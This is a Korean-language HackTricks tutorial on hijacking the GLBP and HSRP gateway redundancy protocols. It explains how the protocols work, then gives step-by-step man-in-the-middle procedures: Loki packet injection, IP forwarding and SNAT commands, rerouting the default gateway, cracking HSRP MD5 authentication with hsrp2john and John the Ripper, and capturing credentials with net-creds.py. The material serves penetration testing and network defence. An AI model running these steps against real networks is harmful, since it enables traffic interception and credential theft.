9.3 KiB
GLBP & HSRP 공격
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 굿즈를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
{% embed url="https://websec.nl/" %}
FHRP 해킹 개요
FHRP 통찰
FHRP는 여러 라우터를 하나의 가상 단위로 병합하여 네트워크 견고성을 제공하고 부하 분산 및 장애 허용성을 향상시키기 위해 설계되었습니다. Cisco Systems는 GLBP 및 HSRP와 같은 중요한 프로토콜을 이 스위트에 소개했습니다.
GLBP 프로토콜 통찰
Cisco의 창작물인 GLBP는 TCP/IP 스택에서 작동하며 통신에 UDP 포트 3222를 사용합니다. GLBP 그룹의 라우터는 3초 간격으로 "hello" 패킷을 교환합니다. 라우터가 이러한 패킷을 10초 동안 보내지 않으면 오프라인으로 간주됩니다. 그러나 이러한 타이머는 고정되어 있지 않고 수정할 수 있습니다.
GLBP 작동 및 부하 분산
GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터 간에 부하를 분산하는 기능으로 두드러집니다. GLBP 그룹에서 각 라우터는 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 다음과 같은 여러 메커니즘을 통해 실제 부하 분산을 제공합니다:
- 호스트 종속 부하 분산: 호스트에 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성에 필수적입니다.
- 라운드 로빈 부하 분산: 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 사용하는 기본 접근 방식입니다.
- 가중 라운드 로빈 부하 분산: 미리 정의된 "가중치" 메트릭에 따라 부하를 분배합니다.
GLBP의 주요 구성 요소 및 용어
- AVG (Active Virtual Gateway): MAC 주소를 동료 라우터에 할당하는 주요 라우터입니다.
- AVF (Active Virtual Forwarder): 네트워크 트래픽을 관리하는 라우터입니다.
- GLBP 우선 순위: AVG를 결정하는 메트릭으로, 기본값은 100이며 1에서 255 사이의 범위를 가집니다.
- GLBP 가중치: 라우터의 현재 부하를 반영하며, 수동으로 조정하거나 Object Tracking을 통해 조정할 수 있습니다.
- GLBP 가상 IP 주소: 모든 연결된 장치에 대한 네트워크의 기본 게이트웨이로 작동합니다.
상호 작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운용 상태로 간주됩니다.
GLBP 공격 메커니즘
공격자는 우선 순위 값이 가장 높은(255) GLBP 패킷을 보내어 주 라우터가 될 수 있습니다. 이로 인해 DoS 또는 MITM 공격이 발생할 수 있으며, 트래픽 가로채기 또는 리디렉션이 가능해집니다.
Loki를 사용한 GLBP 공격 실행
Loki는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 수집하는 것입니다.
공격 단계:
- Promiscuous 모드로 전환하고 IP 포워딩을 활성화합니다.
- 대상 라우터를 식별하고 해당 IP를 검색합니다.
- Gratuitous ARP를 생성합니다.
- AVG를 흉내 내는 악의적인 GLBP 패킷을 주입합니다.
- 공격자의 네트워크 인터페이스에 GLBP 가상 IP를 반영하는 보조 IP 주소를 할당합니다.
- 완전한 트래픽 가시성을 위해 SNAT를 구현합니다.
- 원래 AVG 라우터를 통해 계속된 인터넷 액세스를 보장하기 위해 라우팅을 조정합니다.
이러한 단계를 따라가면 공격자는 네트워크 트래픽을 가로채고 분석할 수 있는 "중간자"로 위치하게 됩니다. 이는 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로챌 수 있음을 의미합니다.
시연을 위해 필요한 명령어 스니펫은 다음과 같습니다:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
HSRP (Hot Standby Router/Redundancy Protocol)를 이용한 HSRP 하이재킹의 수동 설명과 명령어 세부 정보
HSRP 개요 (Hot Standby Router/Redundancy Protocol)
HSRP는 네트워크 게이트웨이의 여분 시스템을 위한 Cisco 독점 프로토콜입니다. 여러 물리적 라우터를 공유 IP 주소를 가진 단일 논리적 단위로 구성할 수 있습니다. 이 논리적 단위는 트래픽을 관리하는 주 라우터에 의해 관리됩니다. GLBP와 달리 우선순위 및 가중치와 같은 메트릭을 사용하는 대신 HSRP는 트래픽 관리를 위해 단일 활성 라우터에 의존합니다.
HSRP의 역할 및 용어
- HSRP 활성 라우터: 트래픽 흐름을 관리하는 게이트웨이로 작동하는 장치.
- HSRP 대기 라우터: 활성 라우터가 실패할 경우 대기하여 대체할 백업 라우터.
- HSRP 그룹: 단일 견고한 가상 라우터를 형성하기 위해 협력하는 라우터 집합.
- HSRP MAC 주소: HSRP 설정에서 논리적 라우터에 할당된 가상 MAC 주소.
- HSRP 가상 IP 주소: 연결된 장치를 위한 기본 게이트웨이 역할을 하는 HSRP 그룹의 가상 IP 주소.
HSRP 버전
HSRP에는 HSRPv1과 HSRPv2 두 가지 버전이 있으며 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조가 다릅니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며, Hello 패킷은 3초마다 전송됩니다. 10초 간격 내에 패킷을 수신하지 않으면 라우터는 비활성으로 간주됩니다.
HSRP 공격 메커니즘
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것을 포함합니다. 이는 중간자 공격을 유발할 수 있습니다. 필수적인 사전 공격 단계에는 HSRP 설정에 대한 데이터 수집이 포함되며, 이는 트래픽 분석을 위해 Wireshark를 사용하여 수행할 수 있습니다.
HSRP 인증 우회 단계
- HSRP 데이터를 포함하는 네트워크 트래픽을 .pcap 파일로 저장합니다.
tcpdump -w hsrp_traffic.pcap
- hsrp2john.py를 사용하여 .pcap 파일에서 MD5 해시를 추출합니다.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- John the Ripper를 사용하여 MD5 해시를 해독합니다.
john --wordlist=mywordlist.txt hsrp_hashes
Loki를 사용한 HSRP Injection 실행
- HSRP 광고를 식별하기 위해 Loki를 실행합니다.
- 네트워크 인터페이스를 Promiscuous 모드로 설정하고 IP 포워딩을 활성화합니다.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- Loki를 사용하여 특정 라우터를 대상으로 설정하고 해독된 HSRP 암호를 입력하며 활성 라우터를 흉내내기 위한 필요한 구성을 수행합니다.
- 활성 라우터 역할을 얻은 후 네트워크 인터페이스 및 IP 테이블을 구성하여 합법적인 트래픽을 가로챕니다.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- 라우팅 테이블을 수정하여 트래픽을 이전 활성 라우터를 통해 라우팅합니다.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- 가로챈 트래픽에서 자격 증명을 캡처하기 위해 net-creds.py 또는 유사한 유틸리티를 사용합니다.
sudo python2 net-creds.py -i eth0
이러한 단계를 실행하면 공격자가 GLBP 하이재킹과 유사한 방식으로 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 여분 프로토콜의 취약성을 강조하며 견고한 보안 조치의 필요성을 강조합니다.